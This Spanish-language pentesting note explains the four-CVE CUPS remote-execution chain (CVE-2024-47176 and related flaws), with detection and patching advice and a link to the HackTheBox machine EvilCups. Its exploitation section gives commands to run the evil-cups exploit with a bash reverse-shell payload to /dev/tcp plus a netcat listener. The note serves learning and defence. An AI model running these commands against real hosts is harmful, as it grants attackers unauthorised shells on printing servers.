CUPS chain (CVE-2024-47176)
A finales de septiembre de 2024 se publicó una cadena de cuatro vulnerabilidades en CUPS (Common Unix Printing System, el sistema de impresión estándar en Linux y otros Unix) que, encadenadas, permiten ejecución remota de comandos sin autenticar. CVE-2024-47176 es la pieza de entrada; las otras tres completan el camino hasta el RCE.
Las cuatro piezas.
- CVE-2024-47176 (
cups-browsed). El demoniocups-browsedescucha por defecto en UDP/631 y procesa los paquetes IPP entrantes sin autenticar. Un atacante le envía un paquete que le ordena consultar una impresora alojada en una URL que él controla. - CVE-2024-47076 (
libcupsfilters). Al consultar los atributos IPP de esa impresora remota, la librería no valida lo que devuelve el servidor del atacante. - CVE-2024-47175 (
libppd). Esos atributos sin sanear se escriben tal cual en el fichero PPD de la nueva impresora, lo que permite inyectar directivas arbitrarias, entre ellasFoomaticRIPCommandLine. - CVE-2024-47177 (
cups-filters). El filtrofoomatic-ripejecuta el contenido deFoomaticRIPCommandLinecomo un comando del sistema cuando se procesa un trabajo de impresión.
El matiz que importa. No es un RCE instantáneo: la última pieza solo dispara cuando se imprime algo en la impresora maliciosa, así que en la práctica hay que provocar un trabajo (por ejemplo, un Print Test Page desde la consola web). Además, el comando corre con los privilegios del proceso de impresión, normalmente el usuario lp, no root: por eso suele hacer falta una segunda fase de escalada o de búsqueda de credenciales para llegar a root. Conviene presentar el impacto con esas condiciones, no como root inmediato.
Explotación práctica. Exploits como evil-cups (de IPPSec) automatizan toda la cadena: levantan un servidor IPP, envían el paquete UDP al cups-browsed del objetivo, sirven la impresora maliciosa con el FoomaticRIPCommandLine deseado y esperan a que un trabajo lo dispare. La carga típica es una reverse shell de bash.
Explotación
nmap -sU -p 631 <ip> # confirmar cups-browsed escuchando en UDP/631
git clone https://github.com/ippsec/evil-cups; cd evil-cups
pip3 install -r requirements.txt
# argumentos: <lhost> <ip> <comando>
python3 evil_cups.py <lhost> <ip> "bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"
nc -nlvp <lport> # y disparar un trabajo (Print Test Page) en la impresora nuevaCómo detectarlo. La entrada de la cadena es tráfico UDP/631 hacia cups-browsed desde un origen externo, que le ordena consultar una URL controlada por el atacante: cualquier paquete IPP entrante no solicitado a ese puerto es sospechoso. En el host aparece una impresora nueva apuntando a una URL remota y un fichero PPD con la directiva FoomaticRIPCommandLine. La ejecución se dispara al imprimir: foomatic-rip/el proceso de impresión (usuario lp) lanzando sh/bash como hijo (auditd/Sysmon for Linux) es la prueba, seguida de una conexión saliente. Un PPD con FoomaticRIPCommandLine conteniendo un comando de shell es la firma en disco.
Defensa. Actualizar cups/cups-filters/libppd. Si no se usa impresión en red, desactivar cups-browsed. Filtrar el UDP/631 para que no sea accesible desde redes no confiables y revisar que cupsd no exponga la administración sin control. Relacionado con la inyección de comandos (la directiva inyectada acaba ejecutándose en una shell) y, en EvilCups, con la fuga de secretos por trabajos de impresión usada para escalar.
Máquinas donde se aplica
- EvilCupsHackTheBox